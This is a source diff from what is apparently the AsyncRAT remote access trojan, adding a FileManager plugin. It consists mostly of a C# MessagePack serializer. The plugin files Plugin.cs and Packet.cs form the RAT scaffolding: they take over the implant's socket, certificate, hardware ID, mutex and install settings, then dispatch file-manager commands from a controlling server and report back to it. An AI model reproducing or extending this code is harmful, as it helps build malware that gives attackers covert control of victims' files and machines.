{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
WriteTools.WriteInteger(ms, (Int64)this.innerValue);
break;
case MsgPackType.UInt64:
WriteTools.WriteUInt64(ms, (UInt64)this.innerValue);
break;
case MsgPackType.Boolean:
WriteTools.WriteBoolean(ms, (Boolean)this.innerValue);
break;
case MsgPackType.Float:
WriteTools.WriteFloat(ms, (Double)this.innerValue);
break;
case MsgPackType.Single:
WriteTools.WriteFloat(ms, (Single)this.innerValue);
break;
case MsgPackType.DateTime:
WriteTools.WriteInteger(ms, GetAsInteger());
break;
case MsgPackType.Binary:
WriteTools.WriteBinary(ms, (byte[])this.innerValue);
break;
case MsgPackType.Map:
WriteMap(ms);
break;
case MsgPackType.Array:
WirteArray(ms);
break;
default:
WriteTools.WriteNull(ms);
break;
}
}
public String AsString
{
get
{
return GetAsString();
}
set
{
SetAsString(value);
}
}
public Int64 AsInteger
{
get { return GetAsInteger(); }
set { SetAsInteger((Int64)value); }
}
public Double AsFloat
{
get { return GetAsFloat(); }
set { SetAsFloat(value); }
}
public MsgPackArray AsArray
{
get
{
lock (this)
{
if (refAsArray == null)
{
refAsArray = new MsgPackArray(this, children);
}
}
return refAsArray;
}
}
public MsgPackType ValueType
{
get { return valueType; }
}
IEnumerator IEnumerable.GetEnumerator()
{
return new MsgPackEnum(children);
}
}
}

24
AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/MsgPackType.cs Normal file
View File

@ -0,0 +1,24 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public enum MsgPackType
{
Unknown = 0,
Null = 1,
Map = 2,
Array = 3,
String = 4,
Integer = 5,
UInt64 = 6,
Boolean = 7,
Float = 8,
Single = 9,
DateTime = 10,
Binary = 11
}
}

84
AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/ReadTools.cs Normal file
View File

@ -0,0 +1,84 @@
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
class ReadTools
{
public static String ReadString(Stream ms, int len)
{
byte[] rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
public static String ReadString(Stream ms)
{
byte strFlag = (byte)ms.ReadByte();
return ReadString(strFlag, ms);
}
public static String ReadString(byte strFlag, Stream ms)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = null;
int len = 0;
if ((strFlag >= 0xA0) && (strFlag <= 0xBF))
{
len = strFlag - 0xA0;
}
else if (strFlag == 0xD9)
{
len = ms.ReadByte();
}
else if (strFlag == 0xDA)
{
rawBytes = new byte[2];
ms.Read(rawBytes, 0, 2);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToUInt16(rawBytes, 0);
}
else if (strFlag == 0xDB)
{
rawBytes = new byte[4];
ms.Read(rawBytes, 0, 4);
rawBytes = BytesTools.SwapBytes(rawBytes);
len = BitConverter.ToInt32(rawBytes, 0);
}
rawBytes = new byte[len];
ms.Read(rawBytes, 0, len);
return BytesTools.GetString(rawBytes);
}
}
}

199
AsyncRAT-C#/Plugin/FileManager/FileManager/MessagePack/WriteTools.cs Normal file
View File

@ -0,0 +1,199 @@
using System;
using System.IO;
namespace Plugin.MessagePack
{
class WriteTools
{
public static void WriteNull(Stream ms)
{
ms.WriteByte(0xC0);
}
public static void WriteString(Stream ms, String strVal)
{
//
//fixstr stores a byte array whose length is upto 31 bytes:
//+--------+========+
//|101XXXXX| data |
//+--------+========+
//
//str 8 stores a byte array whose length is upto (2^8)-1 bytes:
//+--------+--------+========+
//| 0xd9 |YYYYYYYY| data |
//+--------+--------+========+
//
//str 16 stores a byte array whose length is upto (2^16)-1 bytes:
//+--------+--------+--------+========+
//| 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
//+--------+--------+--------+========+
//
//str 32 stores a byte array whose length is upto (2^32)-1 bytes:
//+--------+--------+--------+--------+--------+========+
//| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
//+--------+--------+--------+--------+--------+========+
//
//where
//* XXXXX is a 5-bit unsigned integer which represents N
//* YYYYYYYY is a 8-bit unsigned integer which represents N
//* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N
//* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N
//* N is the length of data
byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal);
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 31)
{
b = (byte)(0xA0 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 255)
{
b = 0xD9;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDA;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDB;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteBinary(Stream ms, byte[] rawBytes)
{
byte[] lenBytes = null;
int len = rawBytes.Length;
byte b = 0;
if (len <= 255)
{
b = 0xC4;
ms.WriteByte(b);
b = (byte)len;
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xC5;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xC6;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
ms.Write(rawBytes, 0, rawBytes.Length);
}
public static void WriteFloat(Stream ms, Double fVal)
{
ms.WriteByte(0xCB);
ms.Write(BytesTools.SwapDouble(fVal), 0, 8);
}
public static void WriteSingle(Stream ms, Single fVal)
{
ms.WriteByte(0xCA);
ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4);
}
public static void WriteBoolean(Stream ms, Boolean bVal)
{
if (bVal)
{
ms.WriteByte(0xC3);
}
else
{
ms.WriteByte(0xC2);
}
}
public static void WriteUInt64(Stream ms, UInt64 iVal)
{
ms.WriteByte(0xCF);
byte[] dataBytes = BitConverter.GetBytes(iVal);
ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8);
}
public static void WriteInteger(Stream ms, Int64 iVal)
{
if (iVal >= 0)
{ // 正数
if (iVal <= 127)
{
ms.WriteByte((byte)iVal);
}
else if (iVal <= 255)
{ //UInt8
ms.WriteByte(0xCC);
ms.WriteByte((byte)iVal);
}
else if (iVal <= (UInt32)0xFFFF)
{ //UInt16
ms.WriteByte(0xCD);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= (UInt32)0xFFFFFFFF)
{ //UInt32
ms.WriteByte(0xCE);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else
{ //Int64
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
}
else
{ // <0
if (iVal <= Int32.MinValue) //-2147483648 // 64 bit
{
ms.WriteByte(0xD3);
ms.Write(BytesTools.SwapInt64(iVal), 0, 8);
}
else if (iVal <= Int16.MinValue) // -32768 // 32 bit
{
ms.WriteByte(0xD2);
ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4);
}
else if (iVal <= -128) // -32768 // 32 bit
{
ms.WriteByte(0xD1);
ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2);
}
else if (iVal <= -32)
{
ms.WriteByte(0xD0);
ms.WriteByte((byte)iVal);
}
else
{
ms.WriteByte((byte)iVal);
}
} // end <0
}
}
}

49
AsyncRAT-C#/Plugin/FileManager/FileManager/Packet.cs Normal file
View File

@ -0,0 +1,49 @@
using Plugin.Handler;
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Packet
{
public static string FileCopy = null;
public static void Read(object data)
{
try
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes((byte[])data);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "fileManager":
{
new FileManager(unpack_msgpack);
}
break;
}
}
catch (Exception ex)
{
Error(ex.Message);
}
}
public static void Error(string ex)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Error";
msgpack.ForcePathObject("Error").AsString = ex;
Connection.Send(msgpack.Encode2Bytes());
}
}
}

45
AsyncRAT-C#/Plugin/FileManager/FileManager/Plugin.cs Normal file
View File

@ -0,0 +1,45 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public class Plugin
{
public static Socket Socket;
public static Mutex AppMutex;
public static string Mutex;
public static string BDOS;
public static string Install;
public static string InstallFile;
public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile)
{
Debug.WriteLine("Plugin Invoked");
AppMutex = mutex;
Mutex = mtx;
BDOS = bdos;
Install = install;
InstallFile = installFile;
Socket = socket;
Connection.ServerCertificate = certificate;
Connection.Hwid = hwid;
new Thread(() =>
{
Connection.InitializeClient(msgPack);
}).Start();
while (Connection.IsConnected)
{
Thread.Sleep(1000);
}
}
}
}

36
AsyncRAT-C#/Plugin/FileManager/FileManager/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
//[assembly: AssemblyTitle("FileManager")]
//[assembly: AssemblyDescription("")]
//[assembly: AssemblyConfiguration("")]
//[assembly: AssemblyCompany("")]
//[assembly: AssemblyProduct("FileManager")]
//[assembly: AssemblyCopyright("Copyright © 2019")]
//[assembly: AssemblyTrademark("")]
//[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
//[assembly: Guid("bee88186-769a-452c-9dd9-d0e0815d92bf")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

20
AsyncRAT-C#/Client/Connection/TempSocket.cs → AsyncRAT-C#/Plugin/FileManager/FileManager/TempSocket.cs
View File

@ -1,8 +1,4 @@
using Client.Handle_Packet; using System;
using Client.Helper;
using Client.MessagePack;
using Microsoft.VisualBasic.Devices;
using System;
using System.Diagnostics; using System.Diagnostics;
using System.IO; using System.IO;
using System.Net.Sockets; using System.Net.Sockets;
@ -13,7 +9,7 @@ using System.Net.Security;
using System.Security.Authentication; using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Net; using System.Net;
using Client.Algorithm; using Plugin.MessagePack;
